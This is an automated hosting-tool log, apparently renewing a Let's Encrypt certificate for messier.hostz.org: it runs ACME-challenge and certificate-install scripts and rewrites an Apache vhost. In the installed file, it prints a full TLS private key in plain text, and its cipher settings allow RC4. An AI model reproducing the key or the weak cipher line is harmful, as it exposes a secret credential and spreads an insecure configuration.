TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-28 06:00:11: Establishing a connection
2025-11-28 06:00:12: Establishing a connection
2025-11-28 06:00:13:
PUT: /tmp/pkp906109
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-28 06:00:14:
chmod 755 /tmp/pkp906109; /tmp/pkp906109; rm /tmp/pkp906109
2025-11-28 06:00:14:
0
2025-11-29 06:00:03: Establishing a connection
2025-11-29 06:00:04: Establishing a connection
2025-11-29 06:00:05:
PUT: /tmp/pkp225676
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-29 06:00:06:
chmod 755 /tmp/pkp225676; /tmp/pkp225676; rm /tmp/pkp225676
2025-11-29 06:00:06:
0
2025-11-30 06:00:02: Establishing a connection
2025-11-30 06:00:04: Establishing a connection
2025-11-30 06:00:05:
PUT: /tmp/pkp461618
#!/bin/bash
if [ -d "/var/www/hostz_messier/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:00:06:
chmod 755 /tmp/pkp461618; /tmp/pkp461618; rm /tmp/pkp461618
2025-11-30 06:00:06:
1
2025-11-30 06:00:08: Establishing a connection
2025-11-30 06:00:09:
PUT: /tmp/pkp567981
#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
cat > oYrD7C2uZKF5tHErfOlNUQ_Udo6CNQx07ORU8yqYQ8c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
oYrD7C2uZKF5tHErfOlNUQ_Udo6CNQx07ORU8yqYQ8c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 oYrD7C2uZKF5tHErfOlNUQ_Udo6CNQx07ORU8yqYQ8c
2025-11-30 06:00:10:
chmod 755 /tmp/pkp567981; /tmp/pkp567981; rm /tmp/pkp567981
2025-11-30 06:00:10:
2025-11-30 06:00:15: Establishing a connection
2025-11-30 06:00:17:
PUT: /tmp/pkp744428
#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
rm oYrD7C2uZKF5tHErfOlNUQ_Udo6CNQx07ORU8yqYQ8c
2025-11-30 06:00:18:
chmod 755 /tmp/pkp744428; /tmp/pkp744428; rm /tmp/pkp744428
2025-11-30 06:00:18:
2025-11-30 06:00:18: Establishing a connection
2025-11-30 06:00:19:
PUT: /tmp/pkp556985
#!/bin/bash
temp_file=$(mktemp)
TARGET=7933e54b4869b54869c55f49aa21a2a8.crt
cat > $temp_file <<'endmsg'
a5:aa:d5:d7:d7:91:f4:a6:8e:ca:d9:68:7c:c5:93:8f
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBWlai98p5Mkc6wAmN91MBHDbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMTQzWhcNMjYwMjI4MDUwMTQyWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMBIICJ/afjD+LUKIl6+NaresHmxcLsxWqKtxzpHxyZFL/wmb+rxap1dbBxJ
TklQWsqqJnwUI1Bcucg7ZwnFAfLuVD30hziLmmde4qnLiqFaBpYb0CZ1M3G1ryYn
l3lVQeObKB3i+sPQibl7Y5SxpBzrUYUoPYZ8w5mQ10epv6jf7d13hjBLTyjCVR71
wh37RlwpgEbSjIi7EXwhSqDcOixxt6vtnmbxfokCn8YUpX97/syhIrwetBr9hBYJ
HmhjSGNqEb/HvAkCLiH/xU7UB2OFAuJWkmJxs+PUgP1myVeZ5nUyS50Ht8vU29cE
47zzBk9oMDnFP2JCEeMQoMGsgPkCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU2g0tCOOKvH6x1nYFx5F2ThQHUoMwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzkyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1
AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmtNY9CAAAAQDAEYw
RAIgJJ39QI437s/U6PqVzUihfvQT+SQ4IipdUhAMUGwwe5gCIAKKKTCbLzCGEose
exOvbmdA87YBWODy4vFeXdj6ElubAHYAGYbUxyiqb/66A294Kk0BkarOLXIxD67O
XXBBLSVMx9QAAAGa01j7+wAABAMARzBFAiEApSR8XgK5X2wv9zVeaIdzZjUuEAUB
ToWbJypy91AIQ3ECIHnSM8k1J1IbSwQFc1GiHkqpno5sIR9EXvkrRyqN5ZjFMA0G
CSqGSIb3DQEBCwUAA4IBAQACp6shA3NHNN1v+6vUo6EEUorI5QoQbpZZ1Mwngiqp
JwxDNEZXYRtTy4DIBVtwUmMoAgh5eQWe7k+RIF1+o4z2U7QGRiJLBX3xy7P8iF9Z
J3a6zIl6XGqIKG7ViSRwMeHBmarauGlBTFp6/kVKCAokg91PCSg15eMMqeS9fi/Q
ZxBA4zCe29+KNeqkvv9UgwdNsqRiwSGH+ZCbD48oC5xLfB4brZnOMN0zeke0rC+p
nKjhA/c+CEVOcx+Sp+7dseeu1IuMZ+TdJEK/lK5/eXwv8ZuhkR4TJGHfnqpMb71L
tTWi6voJspYBkpugkpXW/OhepxnHsBM4cGYlhonPkqGo
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDASCAif2n4w/i1
CiJevjWq3rB5sXC7MVqircc6R8cmRS/8Jm/q8WqdXWwcSU5JUFrKqiZ8FCNQXLnI
O2cJxQHy7lQ99Ic4i5pnXuKpy4qhWgaWG9AmdTNxta8mJ5d5VUHjmygd4vrD0Im5
e2OUsaQc61GFKD2GfMOZkNdHqb+o3+3dd4YwS08owlUe9cId+0ZcKYBG0oyIuxF8
IUqg3Doscber7Z5m8X6JAp/GFKV/e/7MoSK8HrQa/YQWCR5oY0hjahG/x7wJAi4h
/8VO1AdjhQLiVpJicbPj1ID9ZslXmeZ1MkudB7fL1NvXBOO88wZPaDA5xT9iQhHj
EKDBrID5AgMBAAECggEBAIYdCITnV/PSRJOJmQV6KBahMnf+4oE+YFhdWzt0Oxyf
X2PBL4iwkEtokPJ90uPh7yGyYhtjNGpl8pMNk8XFqqFVyF5aQ0KWZMC69t+1f2Eh
WLy0c4+Paa1jKuIy9T0E0Ws+mlGWMpAH0TgVLxTUfoJJQ9fbhGZceVWQKAftByhy
qnYUUOKZtm3xinY2rAsrHw+vznEK2iwq+Gap/b1co19wtCwV+s7LIWRJ6bt+1yet
r/mznTrvZB3LSQUOVruL0A3GRQYYNkKvvEzD0GMxt+yfz/Csu7SFFTzyfHuGx/Br
I24jKQSZooeNYXZ6vehCFCHMfvc0QnHKn3oE9T+hY80CgYEA4ovPcM1TqCS7eo+t
Jx4ag+DIlKjDcpeiCJhZqDh3ZNO0NnV6JRh5/eeTLI9fqKmcpispm4ppSDIp5XlU
c5Gd3u8On8BDaZkYUxfmEhf8nbTqxLUNd0OCPUpLribLF9YJiFwjoDeWH/abSusg
u2M7GQI8HtLUIQIHKD8i0atoT9cCgYEA2Ufil1VMj1hBykT+V7p3NSa5QTtLU60d
G89aW2pElQf7ZZ7l0V/Fu8NODJQUTBhT5HzGfoE/akdahHv95M8yQ3sCOIfEi6J3
5hHHJMd1xlVLW6kIrUGesKXSw2dN5rQF673hIyr17gzQoZsX1JL0ZG8UPVVWqsiG
qvUA56FX268CgYA8EXgaX8b7wWmYcLonshqztwlYKXtRShVjlAnJydcWe++/tNyD
M389LIbgfM+PaBGqGa25mTSbOPnU55vV3NlwQBCvmQoG2NoTRjXxvDx2EH9jUuJU
KilBWQ7CCXU2R8FVT6D+nV6H8Rpx/fA632/PDMGmJp6qdeAx8rOnxnwtFwKBgQC2
thI++8WjjK3WL2pJz01K7sM9rWTMenhN2HG9CYGeaNXoQFQ1WnnmSHercCIZUyPI
sXwhCQKQlmvxmGqKLAmyYRAfBVwrp3V3jF+P+AJ7w2HZNC1NtC6DkQ3Ir2f8pkmM
UWGutwOTKEeQfeDuKp1Ej3vPj6GPf4xu2hPms/AzlQKBgF4I+Ss3u7DbzbsK6R+K
Xt/S79+IHKOziM8rHIsfWSe46cef8pcLFlYj2Sse1V/nVja3qYWIzV9c8NDwMBgX
mtEIwj47gfuLuDNv3rWxI9wTtbb5Or2uZRL8cPGIuhbognKG+PPmwJukSDBxlBHf
UDnj2gusNGu7B8QKlh7P4jvC
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-30 06:00:20:
chmod 755 /tmp/pkp556985; /tmp/pkp556985; rm /tmp/pkp556985
2025-11-30 06:00:20:
dir=/etc/pki/tls/certs/
2025-11-30 06:00:20:
PUT: /tmp/pkp840355
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/hostz_messier.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-30 06:00:21:
chmod 755 /tmp/pkp840355; /tmp/pkp840355; rm /tmp/pkp840355
2025-11-30 06:00:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1528
<VirtualHost *:80>
ServerName messier.hostz.org
DocumentRoot /var/www/hostz_messier
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ".ht*">
Require all denied
</Files>
ErrorLog "logs/messier_error_log"
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.py index.php
<Location /server-status>
SetHandler server-status
Require ip 173.48.93.56
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName messier.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
DocumentRoot /var/www/hostz_messier
<Directory /var/www/hostz_messier>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/messier_secure_access.log combined
ErrorLog /var/log/httpd/hostz/messier_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:00:21:
PUT: /tmp/pkp406218
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_messier.conf
TARGET=/etc/httpd/conf.d/hostz_messier.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName messier.hostz.org
DocumentRoot /var/www/hostz_messier
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ".ht*">
Require all denied
</Files>
ErrorLog "logs/messier_error_log"
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.py index.php
<Location /server-status>
SetHandler server-status
Require ip 173.48.93.56
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName messier.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
DocumentRoot /var/www/hostz_messier
<Directory /var/www/hostz_messier>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/messier_secure_access.log combined
ErrorLog /var/log/httpd/hostz/messier_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/hostz_messier.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/hostz_messier.conf)= /etc/httpd//etc/httpd/conf.d/hostz_messier.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_messier.conf= 1'
fi
2025-11-30 06:00:22:
chmod 755 /tmp/pkp406218; /tmp/pkp406218; rm /tmp/pkp406218
2025-11-30 06:00:22:
2025-11-30 06:00:22:
PUT: /tmp/pkp632296
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-30 06:00:23:
chmod 755 /tmp/pkp632296; /tmp/pkp632296; rm /tmp/pkp632296
2025-11-30 06:00:23:
.
2025-11-30 06:00:23: Establishing a connection
2025-11-30 06:00:24:
PUT: /tmp/pkp473959
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-30 06:00:25:
chmod 755 /tmp/pkp473959; /tmp/pkp473959; rm /tmp/pkp473959
2025-11-30 06:00:26:
[Sun Nov 30 06:00:26.055826 2025] [so:warn] [pid 745610:tid 140310333016384] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
alias www.zoomchat.online
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Sun Nov 30 06:00:26.055826 2025] [so:warn] [pid 745610:tid 140310333016384] AH01574: module status_module is already loaded, skipping
2025-11-30 06:00:26:
PUT: /tmp/pkp852615
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/hostz_messier.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:00:26:
chmod 755 /tmp/pkp852615; /tmp/pkp852615; rm /tmp/pkp852615
2025-11-30 06:00:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1528
<VirtualHost *:80>
ServerName messier.hostz.org
DocumentRoot /var/www/hostz_messier
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ".ht*">
Require all denied
</Files>
ErrorLog "logs/messier_error_log"
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.py index.php
<Location /server-status>
SetHandler server-status
Require ip 173.48.93.56
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName messier.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
DocumentRoot /var/www/hostz_messier
<Directory /var/www/hostz_messier>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/messier_secure_access.log combined
ErrorLog /var/log/httpd/hostz/messier_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:00:27:
PUT: /tmp/pkp679756
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:00:27:
chmod 755 /tmp/pkp679756; /tmp/pkp679756; rm /tmp/pkp679756
2025-11-30 06:00:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt 5352
a5:aa:d5:d7:d7:91:f4:a6:8e:ca:d9:68:7c:c5:93:8f
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBWlai98p5Mkc6wAmN91MBHDbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMTQzWhcNMjYwMjI4MDUwMTQyWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMBIICJ/afjD+LUKIl6+NaresHmxcLsxWqKtxzpHxyZFL/wmb+rxap1dbBxJ
TklQWsqqJnwUI1Bcucg7ZwnFAfLuVD30hziLmmde4qnLiqFaBpYb0CZ1M3G1ryYn
l3lVQeObKB3i+sPQibl7Y5SxpBzrUYUoPYZ8w5mQ10epv6jf7d13hjBLTyjCVR71
wh37RlwpgEbSjIi7EXwhSqDcOixxt6vtnmbxfokCn8YUpX97/syhIrwetBr9hBYJ
HmhjSGNqEb/HvAkCLiH/xU7UB2OFAuJWkmJxs+PUgP1myVeZ5nUyS50Ht8vU29cE
47zzBk9oMDnFP2JCEeMQoMGsgPkCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU2g0tCOOKvH6x1nYFx5F2ThQHUoMwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
